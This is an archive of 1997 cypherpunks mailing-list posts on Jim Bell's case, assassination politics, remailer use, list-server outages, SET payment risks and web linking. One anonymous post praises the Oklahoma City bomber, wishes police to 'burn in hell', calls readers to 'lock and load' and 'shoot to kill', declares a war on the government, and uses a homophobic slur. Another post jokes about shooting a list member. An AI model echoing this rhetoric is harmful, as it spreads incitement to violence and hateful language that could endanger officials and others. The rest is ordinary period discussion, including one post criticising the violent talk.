To: iang@systemics.com
Subject: Re: write up AP for FC++
Message-ID: <199708191517.RAA27971@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym
 "Ian Grigg <iang@systemics.com>" typed:
>
> Zooko said:
> > [ some mega-monkey drivel about all these ideas being the same ]
> 
> More intellectual peasantry.  There is more to an idea than who came
> up with it first and whether it is related at some level or other to
> another concept with a different name.


Indeed there _is_ more to many ideas.  Unfortunately, there is
no more to this one.


Regards,

Zooko, Bane of Bogus Daydreams Posing As Ideas





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 20 Aug 1997 06:09:05 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: The Real Bell Issue / Re: Bell, etc
In-Reply-To: <3.0.2.32.19970819111508.03721e8c@panix.com>
Message-ID: <3.0.2.32.19970819175653.03657300@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:21 AM 8/19/97 -0700, Tim May wrote:

>So, I disagree with Duncan's apparent point that it's too bad the Bell case
>didn't go to trial. I'm convinced Bell would have been convicted on most or
>all charges. Hardly a test case for anything important.

But the charges were minor stuff.  Under the Federal sentencing guidelines he 
wouldn't have gotten much if convicted.  And I think that he had a good 
defense to some of the charges.  Selective prosecution and no crime for 
example.  The collecting of the names and addresses of government employees 
is not clearly illegal.  In some cases, it is public information and he could 
argue that he intended to organize demonstrations against them.  It is also 
not clear how they found out about the stink bomb.  That could possibly have 
been challanged.  

The charges were fuzzy and minor.  Those sorts of things make them easy for a 
strong advocate to ridicule in court.  Clearly a waste of the taxpayer's 
money.  Their nature smells of political prosecution.  Another line of 
defense.    

He could have been aggressive and fought instead of wimping out.  Lots of 
people have faced much more serious crimes and won.  It's not like Jim had 
anything better to do.

In such cases, an aggressive show of strength of character is best.  Weakness 
invites oppression.  A rule that you - Tim - seem to follow in general too.

DCF    

"Shit Happens" -- Slogan on the Cat Hat worn by the lead defendant in the 
Princeton Partners Insider Trading case during negotiations with the Feds.  
Court of appeals threw out his conviction.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 20 Aug 1997 06:37:57 +0800
To: cypherpunks@toad.com
Subject: Crypto-anarchy and Haydn
Message-ID: <v03110751b01fcb03e2ae@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 19 Aug 1997 17:06:07 -0400 (EDT)
From: Peter F Cassidy <pcassidy@world.std.com>
To: dcsb@ai.mit.edu
Subject: Crypto-anarchy and Haydn
Mime-Version: 1.0
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Peter F Cassidy <pcassidy@world.std.com>


DCSBers,

I'd like to invite you to the Longwood Symphony Orchestra's summer concert
at the Hatch Shell in Boston on Wed. Aug. 20, 1997 at 7:30. It's free. The
LSO is presenting Mendelsohn's Capricio Briliante Opus 22, the Haydn Cello
concerto and the Haydn Symphony 104, the last movement of which contains a
coded message. Played backwards at twice the normal turntable speed, you
can clearly hear the composer shout, "Burn the mint" in the finale, about
64 bars from the end.





For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@bluemoney.com>
Date: Wed, 20 Aug 1997 09:46:16 +0800
To: Jason Burrell <jburrell@crl5.crl.com>
Subject: Re: Encrypted talk
In-Reply-To: <199708192358.SAA00652@crl5.crl.com>
Message-ID: <199708200132.SAA00166@einstein.bluemoney.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jason Burrell writes:
 > Does there happen to be a talk program out there that will allow more than
 > two people to talk at once, and allow them to speak securely with strong
 > cryptography, and will actually compile under Linux? 
 > 

Barring the existence of such a thing, find a talk/talkd that does
everything w/o the crypto, and tunnel it over ssh.

Jeremey.
- -- 
Jeremey Barrett                                BlueMoney Software Corp.
Crypto, Ecash, Commerce Systems               http://www.bluemoney.com/
PGP key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64

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Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason Burrell <jburrell@crl5.crl.com>
Date: Wed, 20 Aug 1997 08:16:14 +0800
To: cypherpunks@toad.com
Subject: Encrypted talk
Message-ID: <199708192358.SAA00652@crl5.crl.com>
MIME-Version: 1.0
Content-Type: text/plain



Does there happen to be a talk program out there that will allow more than
two people to talk at once, and allow them to speak securely with strong
cryptography, and will actually compile under Linux? 

Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 20 Aug 1997 07:43:42 +0800
To: cypherpunks@toad.com
Subject: Re: Status of Cypherpunks list sites?
Message-ID: <1.5.4.32.19970819232403.007303ac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Okay, mace me, I'm still posting to toad, and receiving from it, 
along with dupes from cyberpass, and TAing the latency. Toad's 
stuff comes right through, fast, while it's +/- all over the chart from 
cyberpass -- up to eight hours delay at times, even a day later,
with answers to vital controversies coming before the issue is 
shown to be misunderstood squat.

Excuse cyberpass dis for disarray, but toad's speed is handy when 
you've nothing to say and want to instantly scream it very clearly to 
yourself and the empty void rather than face the horror of fixing insyntax.

And, praise elvis, not all vaporings that come from toad makes 
it past molassel cyberpass, although most eventually oozes in. 
Null stench especially pops up from world-sucking toad, the kind 
that makes one's own East Coast voidance smell not so bad. Until
the West Coast wakes up and sez jesus cork that, we're fetal lunged 
here.

Still, if Tim's right to call for toad discon, its reliable speedy 
drip drip drip of 24-hour addictive invective will be sorely missed 
when it presents a last time middle web and hops off into the swamp
leaving only one's own dig-itch digit to sniff and howl how awful.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 20 Aug 1997 09:17:14 +0800
To: cypherpunks@toad.com
Subject: Re: Cypherpunks as a Terrorist Organization
In-Reply-To: <v03102802b01f85816bc0@[207.167.93.63]>
Message-ID: <k6LPBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> As a matter of fact, I expect there have already been actions demanding
> that DejaNews purge their data bases of some posting or another. After all,
> they are truly a form of "eternity server."

I know for a fact that DejaNews has complied with a request from
one of the news.admin.* assholes to delete an article posted by
another person calling said asshole a pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 20 Aug 1997 11:13:13 +0800
To: fc97@offshore.com.ai
Subject: Forbes article on Financial Cryptography is coming
Message-ID: <v03110756b01febd99960@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Coming soon to a newstand near you...

I hear the article will include pictures of cypherpunks and FC97 attendees
like Ian Goldberg (FC97 workshop leader), Adam Shostack (FC97 workshop
instructor), Sameer Parekh, and Steve Schear.

Not to mention actual financial cryptographers like David Chaum and Ron
Rivest. :-).


Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: rah@mail.shipwright.com
Mime-Version: 1.0
Date: Tue, 19 Aug 1997 18:12:03 -0400
To: e$@thumper.vmeng.com, dcsb@ai.mit.edu
From: Robert Hettinga <rah@shipwright.com>
Subject: Forbes article is coming.
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

I just got called by a fact checker from Forbes.

She said that the article on financial cryptography that Josh McHugh is
doing is one of two being considered for the cover of the next issue.

Having some fun now, as Mr. Martin used to say...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/




---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
---------------------------------------------------------------------

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Wed, 20 Aug 1997 12:06:22 +0800
To: cypherpunks@cyberpass.net
Subject: RE: David Downey asks to be shot
Message-ID: <19970820034801.16798.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



     Wow, I'm really moving up in the world. Now I've officially been 
classified as an enemy of the people. Cool! Where's my award money?

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 20 Aug 1997 11:00:21 +0800
To: ant@notatla.demon.co.uk (Antonomasia)
Subject: Re: Status of Cypherpunks list sites?
In-Reply-To: <199708192203.XAA03398@notatla.demon.co.uk>
Message-ID: <199708200238.VAA09439@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Prof. Antonomasia wrote:
> 
> 
> TCMay wrote:
> 
> > Not too long ago I was subscribed to the "cypherpunks@algebra.com" address,
> > and the list stopped flowing to me for a day or so. I resubbed under

That was my fault, I improperly killed sendmail and then went to the
country for a day or two.

> > "cypherpunks@cyberpass.net." I noticed that Igor Chudov said he was taking
> > a hiatus from the Net and lists, so I wondered if this meant his support
> > for his site was either being dropped or might be subject to more frequent
> > outages.
> 
> I re-subscribed to the algebra list when I returned from HIP97
> and in fact got onto the ssz list.  Seems like Igor diverted the
> subscription.  Comments, Igor ?

I have no idea how such a diversion could happen, if we assume that no
hacking is taking place. I think that it is more likely that you were
confused by headers. It seems that now cypherpunks list works just fine,
although I would appreciate if you correct me.

I do, indeed, try to stay away from the Net as far as possible (that is,
do nothing that is not directly related to making or saving money).
Therefore, please, report any problems with cypherpunks@algebra.com
to me directly.

> > And shouldn't we all be making a more serious effort to drop the use of the
> > "cypherpunks@toad.com" address, as John said some months back that he would
> > support forwarding stuff for a while, but not necessarily forever. As it
> > is, it just adds another hop and another potential weak link.
> 
> Yes.

As long as everyone uses distributed servers to receive the list traffic,
removal of the toad.com address will be quickly noticed.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 20 Aug 1997 09:59:26 +0800
To: cypherpunks@toad.com
Subject: The first days of our last days
Message-ID: <+EMwCJEYz8vfzObQpRBwVg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



At 12:00 PM 8/19/97 -0400, you wrote:
>A theat to him perhaps.  What ever happened to self defense I wonder?     
The police are supposed to handle it, or something.  Call 911 here while a criminal shoots your kids, while the ass on the other end asks questions until they hear a shot go off, and silence creep in.

That's why people use firearms.

>Not unless he joins the book people in the woods. :)

I ask for the honor of memorizing 1984.

>A few years back when the anti-gun crap started in NYC, they had all sorts
>of save the kids propaganda stories and projects: such as trade your gun
>for a toy, and stories like 8 year old shot dead by drug deal for
>threatening to use water pistol.

Now they have new Communist/Socialist/Fascist propaganda and other programs around the U.S..  Ever hear of that shit with kids turning in toy rifles, weapons of destruction, for books?  I read books as a child, and still, i had toy rifles.

Of course the kids were spewing out the Usual UN Globalism, totalitarian, and disarmament shit.  "I think dat guns are bad, they kill people."  the question is: What people?  As far as I see it, fascists, and freedom-thefters.

>Jim Bell was arrested for thinking
>differently than is allowed.  No different than being declared insane and
>sent to the Gulag for "re-education" for disagreement with the party, the  
>glorious party.  Not having lived in communist or fascist countries, the
>sheeple are asleep.

Obvious from the cry of freedom from McVeigh, destroying the minions of the fascists, and of course only being shown as a child killing monster.

>My parents having left a socialist state (read fascist) for freedom, I
>find freedom fleeting.  The same scum that ran the communist block are
>here running our country.  Sure they were born here, but their spirit and 
>beliefs are the same as the scum that were in power in the old country.   

Knowing friends of relatives who lived in East germany, they have many stories to tell.

>How much money are we to bleed to them in taxes (read plural, as in
>income, realestate, hotel, parking, gas and electric, telephone, taxes on
>tax returns, etc.)?  How soon before breathing taxes? Fucking Taxes?

I believe one of americas founders (a faggot, by word of Patrick Oonk, a Nazi) once asked this about britain putting taxes on breathing.  Soon after, we fought back and eventually sent those murdering sons of bitches running.

That day will live in my mind as being the day we all said ENOUGH!!!!

>Living Taxes?  Speaking Taxes?  Let's not pretend.  We work for them.
>It's mandatory work.  Our work pays their goals.  Doesn't matter if you
>work for Mickey D's or Mickey Soft.  You pay Big Uncle.  You work for Big
>Uncle's benefit.  It's not enough to fear Big Uncle.  You must love big   
>uncle.  One may not even hold anti-government views for fear of being in
>contempt of court and be judged against.

No wonder the suicide rate is up.

>How soon before they stop teaching highschool kids about the revolution
>for fear it will happen again?  How soon before they edit the constitution
>and pretend it was always that way?  How soon before we'll need passports
>to travel between one part of the country and another?  Between one 'burb
>to another?

Well, we alread have shit like this.

>How soon before we have to register every computer out there?  How soon
>before we have to register every phone and phone card?  Every pencil and   
>knife and fork and other sharp objects? How soon before night curfews?
>How soon before Victory Coffee and Gin?  How soon to food rations?  How
>soon to electricity rations and water rations and net access rations? How
>soon before ex-communist Russia has more freedom than we?

Now.

>They've already silenced us, they've already taken our guns, they've
>already thrown us in jail for feeding others, for speaking, thinking and  
>protesting, and demanding privacy, they've already stripped our privacy,   
>they've already murdered us, they've already licensed everything we can do 
>and can't, they've already filled the streets with jackbooted gun and
>nightstick toting thugs who wear blue and use bathroom plungers as means
>of interrogation.

May those cops burn in the pits of hell.

>What next?  And how soon?

Telescreens?  Thought Police?  Junior Scouts?  Eastasia and Eurasia?  INGSOC, Death-Worship, and Neo-Bolshevism?  How long before we get helicopters looking in windows?  How long before Two-Minutes hate?  How long before we have the Party?  how long before we have the Sex restrictions?  How long before our children become blind followers?  After all, communism's laws are 1. infiltrate the school system 2. sit back and watch. How long before we all become enslaved, without knowing?

Soon.  very Soon.

LOCK AND LOAD.  Shoot to kill.

Sometimes, we fight back, even if there is no hope.  Why?  Because it is better to die on our feet than to live on our knees.

The first days of the last days of freedom are now.

Will we win?  I say yes. Fascists say no.

The war is underway.

FreedomMonger
"It is better to die on our feet than to live on our knees."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 20 Aug 1997 12:41:07 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: Anonymous Remailers
In-Reply-To: <3.0.3.32.19970818234422.038013f4@mail.atl.bellsouth.net>
Message-ID: <33FA7114.5ED1@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner wrote:
> If anyone has any comments on how they have used the Georgia Cracker remailer, I'd appreciate the comments being emailed to me.  Anonymously or not.
> 
>   -- Robert, pooh@efga.org

Robert,
  I regularly teach members of health and mental-health mailing lists
and support groups how to use anonymous remailers, as well as how to
forge their headers to prevent remailer operators from discovering
their identity.
  A number of these people are from southern states, including 
Georgia, and have indicated that they find the ability to post
anonymously to health groups very valuable in allaying fears of
their sharing of personal health information coming back to 
haunt them.

  In particular, I advise people who are afflicted with such medical
conditions as Tourette Syndrome and OCD to use anonymous remailers
if they find (or fear) that their impulsivity in screaming "Bullshit!"
when they smell bullshit will cause them trouble in the future.
  Personally, when I email politicians and the like, I usually use
anonymous remailers, including the Georgia Cracker, so that I don't
have to worry about being discriminated against and/or investigated
and/or imprisoned for being afflicted with a physical and mental
condition which causes me great discomfort when I am forced to tell
polite lies under the guise of free speech.
  In short, a ratfucker is a ratfucker is a ratfucker, and if anyone
objects to being called one, then they should make an effort not to
be one, rather than calling for my head on a platter because I call
a spade a spade (or a "fucking shovel").

  Two nights ago I began to teach my niece and her high-school girl
friend how to use remailers for anonymity to communicate with others
in a manner that will not leave them vulnerable to tracking/stalking
by strangers.
  Law Enforcement Agencies fully recognize the need for anonymous
communications, setting up hotlines that they advertise as being
free from call-tracing, etc. Is this capacity to be denied to 
private citizens and groups who wish to communicate with those 
who need their help?

  If someone wants to spam me, or threaten me, or whatever, through
the use of anonymous remailers, fine--I have a delete key and I have
mail filters.
  If someone else is too fucking lazy or unconcerned with using the
available technology and tools to do the same, then where the fuck
do they find the time and energy to call for myself and others to
be held prisoner behind an ElectroMagnetic Curtain in order to 
"protect" them from "real life?"
  Every time some Nazi piece of shit announces his or her intention
to "protect" somebody, my freedom, privacy and human rights seem to
get thrown in the trash. 

  My lawyer in Austin, Larry Joe, once told me about a client who
phoned him from prison and said, "I have a TV and radio, I get
three meals a day and cigarettes, and there's even a weight room
here. It's not really like being in prison."
  Larry Joe asked him, "Do you have a key for the door?" The youth
replied, "No." Larry Joe told him, "Trust me...you're in prison."

  I'm growing tired of those who want to lock all of the doors on
the InterNet and control the keys so that the citizens will be
imprisoned behind an ElectroMagnetic Curtain where they are only
allowed to travel at the discretion of a higher authority.
  The only people who suffer from being imprisoned behind walls
of censorship and fascism are the poor and the powerless. The
Nazi rocket scientists, the Spamfords and the adult web site
operators will always emerge from the wars with a seat at a
Congressional fundraiser, it is the average citizen who always
is on the inside (of the Prison, Wall, or ElectroMagnetic Curtain)
looking out.

  My advice to well-meaning fascist censors is to stay the fuck out
of the InterNet regulation business, because there are too many 
people on the InterNet who have experienced its freedom and who will
no go easily into the dark night.
  I was in Poland shortly after the fall of The Wall, and was talking
to a lady who was describing how hard life had become in the resulting
"chaos of the new." I asked her if she thought that the citizens would
return to the former political system if conditions got bad enough.
  She said, "Over my dead body."

  Someone wants to shut down your remailer? Fine. I'll start one up.
They want to shut down my remailer? Fine, but what about the Eternity
Servers?
  Don't know about the Eternity Servers? They are waiting to route
around the damage caused by shutting down remailers, and there is
another technology waiting to replace the Eternity Servers if they
get shut down.

  I, for one, am not going to stand by listlessly while fascists
attempt to build an ElectroMagnetic Curtain around me.
  I have a byte, and I'm not afraid to use it.

Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 20 Aug 1997 13:48:57 +0800
To: David Downey <digital_matrix@hotmail.com>
Subject: RE: David Downey asks to be shot
In-Reply-To: <19970820034801.16798.qmail@hotmail.com>
Message-ID: <Pine.LNX.3.95.970819224601.2612C-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 19 Aug 1997, David Downey wrote:

>      Wow, I'm really moving up in the world. Now I've officially been 
> classified as an enemy of the people. Cool! Where's my award money?

Hold your filled out request form in front of your chest and your prize
will be speeding along any time now.

Would you like that in .45 increments or .9mm?

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Wed, 20 Aug 1997 07:30:12 +0800
To: cypherpunks@ssz.com
Subject: Re: Status of Cypherpunks list sites?
Message-ID: <199708192203.XAA03398@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



TCMay wrote:

> Not too long ago I was subscribed to the "cypherpunks@algebra.com" address,
> and the list stopped flowing to me for a day or so. I resubbed under
> "cypherpunks@cyberpass.net." I noticed that Igor Chudov said he was taking
> a hiatus from the Net and lists, so I wondered if this meant his support
> for his site was either being dropped or might be subject to more frequent
> outages.

I re-subscribed to the algebra list when I returned from HIP97
and in fact got onto the ssz list.  Seems like Igor diverted the
subscription.  Comments, Igor ?

> And shouldn't we all be making a more serious effort to drop the use of the
> "cypherpunks@toad.com" address, as John said some months back that he would
> support forwarding stuff for a while, but not necessarily forever. As it
> is, it just adds another hop and another potential weak link.

Yes.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
#### !!! PGP 5.0 beta available now at ftp.replay.com !!! ####





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 20 Aug 1997 11:47:38 +0800
To: cypherpunks@toad.com
Subject: Re: Status of Cypherpunks list sites?
In-Reply-To: <1.5.4.32.19970819232403.007303ac@pop.pipeline.com>
Message-ID: <v03110763b02011994890@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:24 pm -0400 on 8/19/97, John Young wrote:


> Still, if Tim's right to call for toad discon, its reliable speedy
> drip drip drip of 24-hour addictive invective will be sorely missed
> when it presents a last time middle web and hops off into the swamp
> leaving only one's own dig-itch digit to sniff and howl how awful.

Younglish? Youngbonics?

God, I *love* this list...

Cheers,
Bob Hettinga
"yeah, I know, it's self-referent"

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 20 Aug 1997 11:53:14 +0800
To: cypherpunks@toad.com
Subject: INFOTECH WEEKLY - August 18, 1997
Message-ID: <v03110767b02012ce917e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: nickkean.ihug.co.nz: p46-chch2.chch.ihug.co.nz
[207.214.13.46] didn't use HELO protocol
Date: Wed, 20 Aug 1997 13:02:50 -0400
From: Blair Anderson <"Blair Anderson"@nickkean.ihug.co.nz>
Organization: Techno Junk and Grey Matter [http://www.isdn.now.co.nz]
MIME-Version: 1.0
To: dcsb@ai.mit.edu
Subject: INFOTECH WEEKLY - August 18, 1997
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: Blair Anderson <"Blair Anderson"@nickkean.ihug.co.nz>

Summary Report on New Zealand encryption export restrictions under
Wassanar/COCOM international agreements...


http://www.infotech.co.nz/spreports/asaint.html

--
Blair Anderson                mailto:blair@technologist.com

        "get a piece of the click"

Electronic Commerce, Encryption and Electronic Rights Management

Techno Junk and Grey Matter        mailto:Benefit@isdn.now.co.nz
Corporate Technology Consultants
50 Wainoni Road,
Christchurch,
New Zealand
phone  ++ 64 3 3894065
fax    ++ 64 3 3894065

Web Page(s):         http://www.isdn.now.co.nz/INDEX.HTM

-------- Caught in the Net for 25 years -----------

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 20 Aug 1997 11:46:45 +0800
To: cypherpunks@toad.com
Subject: SET discused in Risks Forum
Message-ID: <v0311076bb0201386bcb9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Tue, 19 Aug 1997 15:42:21 -0400
From: pj ponder <ponder@mail.irm.state.fl.us>
Subject: SET discused in Risks Forum
To: set-discuss@lists.Commerce.Net
Mime-Version: 1.0
Sender: set-discuss-owner@mail.irm.state.fl.us
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  set-discuss@lists.commerce.net
+----------------------------------------------------------------------+

-----BEGIN PGP SIGNED MESSAGE-----


Just got this on the Risks Forum
(usenet comp.risks; html: http://catless.ncl.ac.uk/Risks)
I apologize if this has been posted here already and I missed it.

- -----------------------  from comp.risks:  -------------------------------
Date: Sat, 16 Aug 1997 16:20:14 -0700
From: smartcard@sprynet.com
Subject: SET risk

The Secure Electronic Transaction (SET) process is proposed by the
credit-card associations to secure credit-card usage on the Internet.  It
consists of a 28-step process using a standard digital certificate.  It
relies on vendor software to provide security.  These include an
electronic wallet program in the originator's PC, merchant review software
at the merchant's bank, card transaction processing software at the card
issuer bank and merchant software in the merchant's server.

The SET process claims to be better than using a credit card on the
Internet.  However, the SET process has three serious exposures - confirmed
with IBM and HP/Verifone. The process does NOT know who is presenting the
certificate.  The process does NOT know if merchant employees have
redirected the certificate through another merchant.  All of the critical
software is directly accessible by the card users, merchant employees and
bank employees.  Historically, these individuals have been the prime source
of fraud in credit card transaction systems.

There are more than 50 other card security products available for Internet
usage. They are generally simplier, faster, and avoid the SET exposures
identified above.  Internet transaction users might try the viable
alternatives.

jerome svigals, smartcard@sprynet.com


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-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to any person
or organization.  For further information send a mail message to
'set-discuss-request@lists.commerce.net' with 'help' (no quotations)
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 20 Aug 1997 15:08:52 +0800
To: cypherpunks@toad.com
Subject: Re: bloodlust or game-theory? (was Re: Alex le Heux)
In-Reply-To: <199708181919.VAA19973@xs2.xs4all.nl>
Message-ID: <19970819234915.63274@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Aug 19, 1997 at 12:26:57AM +0100, Adam Back wrote:
> 
[...]
> On AP/betting pools etc., politics and governments are all about
> force.  Why should governments have a monopoly on force?

By a reasonable definition whoever has a monopoly on force *is* the
government.  A rather significant body of history indicates that 
force monopolies arise spontaneously in any society.

[...]

> If you find your own government not extreme enough to feel comfortable
> evaluating net benefits to human happiness in removal of corrupt
> government officials, perhaps you would be happier evaluating societal
> benefits of theoretically removing some 3rd world countries more
> corrupt officials.
> 
> It's not bloodlust, it's game theory...

It's actually closer to a cult -- a small group with it's own shared
reality -- a reality quite at variance with societal norms.  The cult
has its own terminology, and an underlying dogma to which these code
words refer.  The cult has "special knowledge" that has been revealed
to them concerning massive changes that will happen to society --
changes that will usher in a new world order.  These changes may 
involve the world going through a cleansing fire of war of war and 
destruction. 

The members constantly reinforce each other's beliefs with stroking
messages -- eg:

    > >Congress was indeed a horrid idea.  We need no laws other that
    > > "do what you will as long as you don't physically injure, 
    > > or steal."  All else is congressional bullshit paid in 
    > > bloody tax money.
    >
    >Amen, brother.         

Certain of the members sport a messiah or a martyr complex.  It is 
also quite common for cults to call for arming the brethren against 
the coming struggle -- even the Heaven's Gate group apparently had 
stashes of weapons.

It's all so predictable.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 20 Aug 1997 07:36:01 +0800
To: tcmay@got.net
Subject: creative references (was Re: CPAC Quotes Templeton)
In-Reply-To: <v0310280ab01fcbf2f6ac@[207.167.93.63]>
Message-ID: <199708192312.AAA03093@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> >[hypertext links not copyright infringements]
> >
> >Am I on firm legal ground here?
> 
> I think so. Even quoting _blocks_ of someone's text is usually considered
> "fair use," and there have never, to my knowledge, been any cases in which
> a reference or pointer to a text was considered copyright infringement.
> References, as in bibliographies, are in fact just that, references or
> pointers. Saying "Go read Joseph Finder's "The Zero Hour"" is not an
> infringement of any sort.
> 
> As for Web pages, it seems clear that the same logic applies. Someone who
> makes their material available to anyone who follows a link cannot object
> when someone else publishes that link, no matter in what context.

You can get creative about how you reference material with the web
though.

For example say that you set up a page which contains your criticisms,
plus large chunks of, or the whole copyrighted document, using some
kind of inline web text directive.

It's the users web browser which is putting the parts together, the
copyright holders web server is serving some parts of the page, your
server is serving other parts.

For a visual example of this, check out:

	http://www.obscura.com/~shirts/

The inline image is in the UK, the rest of the page is on Lance's
